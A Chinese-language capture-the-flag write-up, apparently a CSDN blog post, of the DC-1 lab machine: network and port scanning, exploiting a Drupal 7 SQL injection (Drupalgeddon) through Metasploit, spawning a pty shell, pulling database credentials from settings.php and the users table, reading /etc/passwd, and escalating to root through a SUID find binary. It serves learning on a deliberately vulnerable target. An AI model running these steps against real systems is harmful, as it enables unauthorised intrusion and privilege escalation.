DC系列靶机DC-1

1,主机发现

1),nmap -sP 192.168.44.0/24 对当前网段内存活的主机进行扫描。

2),主机发现也可以使用

netdiscover -i eth0 -r 192.168.44.0/24

-i 指定网卡,-r指定网段

3),fping -g 192.168.44.100 192.168.44.160

4),arp-scan -l

-l 指从网络接口配置生成地址

以上的方法都可以扫描出靶机的ip地址为 192.168.44.148。在平时的测试中可以多尝试几种方法,因为在真实的渗透环境中有些探测方式可能会被限制。

2,端口扫描

1),使用 nmap -T5 -A -v -p- 192.168.44.148 命令,对其进行更深度的扫描。

root@kali:~/桌面# nmap -T5 -A -v -p- 192.168.44.148
Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-30 18:34 CST
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 18:34
Completed NSE at 18:34, 0.00s elapsed
Initiating NSE at 18:34
Completed NSE at 18:34, 0.00s elapsed
Initiating NSE at 18:34
Completed NSE at 18:34, 0.00s elapsed
Initiating ARP Ping Scan at 18:34
Scanning 192.168.44.148 [1 port]
Completed ARP Ping Scan at 18:34, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:34
Completed Parallel DNS resolution of 1 host. at 18:34, 0.05s elapsed
Initiating SYN Stealth Scan at 18:34
Scanning 192.168.44.148 [65535 ports]
Discovered open port 111/tcp on 192.168.44.148
Discovered open port 80/tcp on 192.168.44.148
Discovered open port 22/tcp on 192.168.44.148
Discovered open port 43261/tcp on 192.168.44.148
Completed SYN Stealth Scan at 18:34, 8.72s elapsed (65535 total ports)
Initiating Service scan at 18:34
Scanning 4 services on 192.168.44.148
Completed Service scan at 18:34, 11.75s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.44.148
NSE: Script scanning 192.168.44.148.
Initiating NSE at 18:34
Completed NSE at 18:34, 10.03s elapsed
Initiating NSE at 18:34
Completed NSE at 18:34, 0.55s elapsed
Initiating NSE at 18:34
Completed NSE at 18:34, 0.00s elapsed
Nmap scan report for 192.168.44.148
Host is up (0.00052s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey: 
|   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
|   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_  256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp    open  http    Apache httpd 2.2.22 ((Debian))
|_http-favicon: Unknown favicon MD5: B6341DFC213100C61DB4FB8775878CEC
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          43261/tcp   status
|   100024  1          45131/udp   status
|   100024  1          45923/tcp6  status
|_  100024  1          51148/udp6  status
43261/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:E2:BB:BC (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Uptime guess: 0.044 days (since Thu Jun 30 17:32:02 2022)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.52 ms 192.168.44.148

NSE: Script Post-scanning.
Initiating NSE at 18:34
Completed NSE at 18:34, 0.00s elapsed
Initiating NSE at 18:34
Completed NSE at 18:34, 0.00s elapsed
Initiating NSE at 18:34
Completed NSE at 18:34, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.58 seconds
           Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)

2),masscan --rate==10000 -p 0-65535 192.168.44.148

masscan也可以进行端口的扫描,速度比nmap快一点,但是内容没有nmap详细,但是直接用nmap可能会方便点。

3,收集端口以及对应的服务,以及其他信息。

由扫描出来的内容可以的到目标主机的22,80,111端口开放,在80端口上运行Drupal 7这个CMS。

什么是 CMS
内容管理系统 (CMS) 是一种存储所有数据 (如文本,照片,音乐,文档等) 并在你的网站上提供的软件. 它有助于编辑,发布和修改网站的内容.

尝试利用80端口,浏览器上访问

Wappalyzer 是一款强大的网站技术栈嗅探工具。利用Wappalyzer 可以快速识别一个网站用到的前后端技术框架、运行容器、脚本库等。是集成在google上的一个插件。

使用 dirb http://192.168.44.148/,收集web网站的目录信息。dirb的功能和御剑相似。

在web渗透的过程中robots.txt是一个很重要的目录,可以帮助我们查看网站的敏感路径、敏感文件等,从中可以搜集到用于渗透的信息。访问robots.txt上的一些文件和网站都没有有用的信息。

4,搜索框架漏洞

根据Wappalyzer扫描结果验证了该服务器是由drupal框架搭建的,因此可以尝试搜索该框架的漏洞。

利用Metasploit框架,通过它可以获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。

对于drupal框架漏洞的描述

CVE-2014-3704 “Drupalgeddon” SQL 注入漏洞
描述Drupal 7.0~7.31 版本中存在一处无需认证的 SQL 漏洞。通过该漏洞,攻击者可以执行任意 SQL 语句,插入、修改管理员信息,甚至执行任意代码。
影响版本
Drupal 7.0 ~ 7.31

5,漏洞利用

msfconsole //打开msf框架

search drupal

在网上搜到一个利用python提升成一个吻交互式的shell:

python -c "import pty;pty.spawn('/bin/bash')"

现在成功的getshell。

6,进行进一步的信息收集

1),获取到flag1

cat flag1.txt
Every good CMS needs a config file - and so do you.

2),获取flag2

根据提示,去找cms的配置文件,通过百度搜索到drupal框架的配置文件为settings.php

3),获取flag3

flag2的提示为

暴力破解和字典攻击不是*只有获得访问权限的方式(您将需要访问权限)。您可以使用这些凭据做什么?

当所在的位置权限并不是最高权限,

但是可以尝试连接,使用flag提供的账号密码信息

mysql -u dbuser -p

show tables;//查看数据表。

+-----------------------------+
| Tables_in_drupaldb          |
+-----------------------------+
| actions                     |
| authmap                     |
| batch                       |
| block                       |
| block_custom                |
| block_node_type             |
| block_role                  |
| blocked_ips                 |
| cache                       |
| cache_block                 |
| cache_bootstrap             |
| cache_field                 |
| cache_filter                |
| cache_form                  |
| cache_image                 |
| cache_menu                  |
| cache_page                  |
| cache_path                  |
| cache_update                |
| cache_views                 |
| cache_views_data            |
| comment                     |
| ctools_css_cache            |
| ctools_object_cache         |
| date_format_locale          |
| date_format_type            |
| date_formats                |
| field_config                |
| field_config_instance       |
| field_data_body             |
| field_data_comment_body     |
| field_data_field_image      |
| field_data_field_tags       |
| field_revision_body         |
| field_revision_comment_body |
| field_revision_field_image  |
| field_revision_field_tags   |
| file_managed                |
| file_usage                  |
| filter                      |
| filter_format               |
| flood                       |
| history                     |
| image_effects               |
| image_styles                |
| menu_custom                 |
| menu_links                  |
| menu_router                 |
| node                        |
| node_access                 |
| node_comment_statistics     |
| node_revision               |
| node_type                   |
| queue                       |
| rdf_mapping                 |
| registry                    |
| registry_file               |
| role                        |
| role_permission             |
| search_dataset              |
| search_index                |
| search_node_links           |
| search_total                |
| semaphore                   |
| sequences                   |
| sessions                    |
| shortcut_set                |
| shortcut_set_users          |
| system                      |
| taxonomy_index              |
| taxonomy_term_data          |
| taxonomy_term_hierarchy     |
| taxonomy_vocabulary         |
| url_alias                   |
| users                       |
| users_roles                 |
| variable                    |
| views_display               |
| views_view                  |
| watchdog                    |
+-----------------------------+
80 rows in set (0.00 sec)

查数据表的时候有一个users表,这是张比较敏感的表,查询该数据表

select * from users;

发现有三个字段信息uid、name、pass

select uid,name,pass from users; //查询账号密码

这里发现了两对用户名和密码,由于密码进行了加密,所以我们可以尝试更换密码

这就需要我们了解drupal框架所采用的加密方式

经过查询后:Drupal的安装目录中的scripts目录下,有一些Drupal开发者准备好的PHP脚本,可以执行一些高级操作。其中有一个脚本名为:password-hash.sh,它的功能是传入一个密码(字符串),即返回加密后的密码字符串。

在浏览器上使用账号密码登录。

成功获取到flag3。

4),根据flag3的提示。

特殊的权限可以帮助你发现隐藏的内容。

cat /etc/passwd 查看一下用户和账号信息,

发现一个特殊的用户flag4,并且其该用户信息储存在/home/flag4中,查看flag4,

cat /home/flag4,得到flag4

5),根据flag4的提示信息,需要我们找到root目录下的flag因此这里需要进行提权!

什么是SUID?
SUID:Set User ID 是一种权限类型,允许用户使用指定用户的权限执行文件。那些有suid权限的文件以最高的权限运行。假设我们以非root用户访问目标系统,并且我们发现二进制文件启用了suid位,那么这些文件、程序、命令可以以root权限运行,SUID的目的就是:让没有相应权限的用户运行这个程序时,可以访问没有权限访问的资料。
SUID提权的利用
 #以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
其中: -perm:按照文件权限来查找
已知的可以用来提权的Linux可执行性文件列表如下:
nmap、vim、find、bash、more、less、nano、cp

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。

搜索可执行文件,发现可以用来提权的可执行文件

find / -perm -u=s -type f 2>/dev/null

然后创建一个新的文件,利用find命令进行提权

find a -exec "/bin/sh" ;

7,总结

成功的获取到这个靶机的所有flag,之前总是觉得自己的实战经验不够,通过此系列的靶机机希望能够多学到点知识。加油!

 参考:DC系列靶机(一)_花香蝶自开的博客-CSDN博客_dc靶机

 

 

 

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值